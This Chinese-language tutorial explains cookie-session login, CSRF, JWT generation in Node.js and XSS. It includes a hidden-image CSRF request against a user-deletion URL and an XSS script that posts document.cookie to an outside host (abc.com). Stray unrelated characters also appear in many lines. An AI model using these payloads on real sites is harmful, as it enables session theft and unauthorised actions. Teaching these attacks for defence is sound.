web服務(wù)中,用戶輸入用戶名密碼登入之后仲器,后續(xù)訪問網(wǎng)站的其他功能就不用再輸入用戶名和密碼了。傳統(tǒng)的身份校驗機(jī)制為cookie-session
機(jī)制:
cookie-session機(jī)制
用戶瀏覽器訪問web網(wǎng)站仰冠,輸入用戶名密碼
服務(wù)器校驗用戶名密碼通過之后乏冀,生成sessonid并把sessionid和用戶信息映射起來保存在服務(wù)器
服務(wù)器將生成的sessionid返回給用戶瀏覽器,瀏覽器將sessionid存入cookie
此后用戶對該網(wǎng)站發(fā)起的其他請求都將帶上cookie中保存的sessionid
服務(wù)端把用戶傳過來的sessionid和保存在服務(wù)器的sessionid做對比洋只,如果服務(wù)器中有該sessionid則代表身份驗證成功
這種方式存在以下幾個問題:
代碼安全機(jī)制不完善辆沦,可能存在CSRF漏洞
服務(wù)端需要保存sessionid與客戶端傳來的sessionid做對比,當(dāng)服務(wù)器為集群多機(jī)的情況下识虚,需要復(fù)制sessionid肢扯,在多臺集群機(jī)器之間共享
如果需要單點登入,則須將sessionid存入redis等外部存儲保證每臺機(jī)器每個系統(tǒng)都能訪問到担锤,如果外部存儲服務(wù)宕機(jī)蔚晨,則單點登入失效
CSRF攻擊
用戶訪問A網(wǎng)站(http://www.aaa.com),輸入用戶名密碼
服務(wù)器驗證通過肛循,生成sessionid并返回給客戶端存入cookie
用戶在沒有退出或者沒有關(guān)閉A網(wǎng)站铭腕,cookie還未過期的情況下訪問惡意網(wǎng)站B
B網(wǎng)站返回含有如下代碼的html:
//假設(shè)A網(wǎng)站注銷用戶的url為:https://www.aaa.com/delete_user
<img src="https://www.aaa.com/delete_user" style="display:none;"/>
瀏覽器發(fā)起對A網(wǎng)站的請求,并帶上A網(wǎng)站的cookie育拨,注銷了用戶
JWT認(rèn)證方式
JWT全稱 Json Web Token
谨履,是一個長字符串,由三部分組成:Header(頭部)
熬丧、 Payload(負(fù)載)
笋粟、Signature(簽名)
怀挠,Header.Payload.Signature
,用.
分割各部分內(nèi)容害捕,看起來大概就像下面這樣:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6InhpYW8gamllIiwiYWRtaW4iOnRydWV9.MjcxZGFjMmQzZjNlMzdjMTU0OGZmM2FlNzFjNDkyMDAwODkzZGNiYmFkODc0MTJhYTYzMTE4MmY0NDBhNzkzZA
生成過程如下:
const crypto = require("crypto");
const base64UrlEncode = require("base64url");
//頭部信息
var header = {
"alg": "HS256", //簽名算法類型绿淋,默認(rèn)是 HMAC SHA256(寫成 HS256)
"typ": "JWT" //令牌類型,JWT令牌統(tǒng)一為JWT
};
//負(fù)載信息,存儲用戶信息
var payload = {
"sub": "1234567890",
"name": "xiao jie",
"admin": true
}
//服務(wù)器秘鑰尝盼,用于加密生成signature,不可泄漏
var secret = "chaojidamantou";
//header部分和payload部分
var message = base64UrlEncode(JSON.stringify(header)) + "." + base64UrlEncode(JSON.stringify(payload));
//HMACSHA256加密算法
function HMACSHA256(message, secret) {
return crypto.createHmac('sha256', secret).update(message).digest("hex");
}
//生成簽名信息
var signature = HMACSHA256(message, secret);
//header和payload部分內(nèi)容默認(rèn)不加密,也可以使用加密算法加密
var JWT = message + "." + base64UrlEncode(signature);
console.log(JWT);
驗證過程如下:
用戶訪問網(wǎng)站吞滞,輸入賬號密碼登入
服務(wù)器校驗通過,生成JWT盾沫,不保存JWT裁赠,直接返回給客戶端
客戶端將JWT存入cookie或者localStorage
此后用戶發(fā)起的請求,都將使用js從cookie或者localStorage讀取JWT放在http請求的header中赴精,發(fā)給服務(wù)端
服務(wù)端獲取header中的JWT佩捞,用base64URL算法解碼各部分內(nèi)容,并在服務(wù)端用同樣的秘鑰和算法生成signature蕾哟,與傳過來的signature對比一忱,驗證JWT是否合法
使用JWT驗證,由于服務(wù)端不保存用戶信息谭确,不用做sessonid復(fù)制帘营,這樣集群水平擴(kuò)展就變得容易了。同時用戶發(fā)請求給服務(wù)端時逐哈,前端使用JS將JWT放在header中手動發(fā)送給服務(wù)端芬迄,服務(wù)端驗證header中的JWT字段,而非cookie信息鞠眉,這樣就避免了CSRF漏洞攻擊薯鼠。
不過,無論是cookie-session還是JWT械蹋,都存在被XSS攻擊盜取的風(fēng)險:
XSS攻擊
跨站腳本攻擊出皇,其基本原理同sql注入攻擊類似。頁面上用來輸入信息內(nèi)容的輸入框哗戈,被輸入了可執(zhí)行代碼郊艘。假如某論壇網(wǎng)站有以下輸入域用來輸入帖子內(nèi)容
發(fā)帖內(nèi)容:<textarea rows="3" cols="20"></textarea>
而惡意用戶在textarea發(fā)帖內(nèi)容中填入諸如以下的js腳本:
今天很開心,學(xué)會了JWT
<script>
$.ajax({
type: "post",
url: "https://www.abc.com/getcookie",
data: {cookie : document.cookie}
});
</script>
那么當(dāng)其他用戶訪問該帖子的時候唯咬,用戶的cookie就會被發(fā)送到abc域名的服務(wù)器上了纱注。
為了避免xss攻擊,客戶端和服務(wù)端都應(yīng)該對提交數(shù)據(jù)進(jìn)行xss攻擊轉(zhuǎn)義胆胰。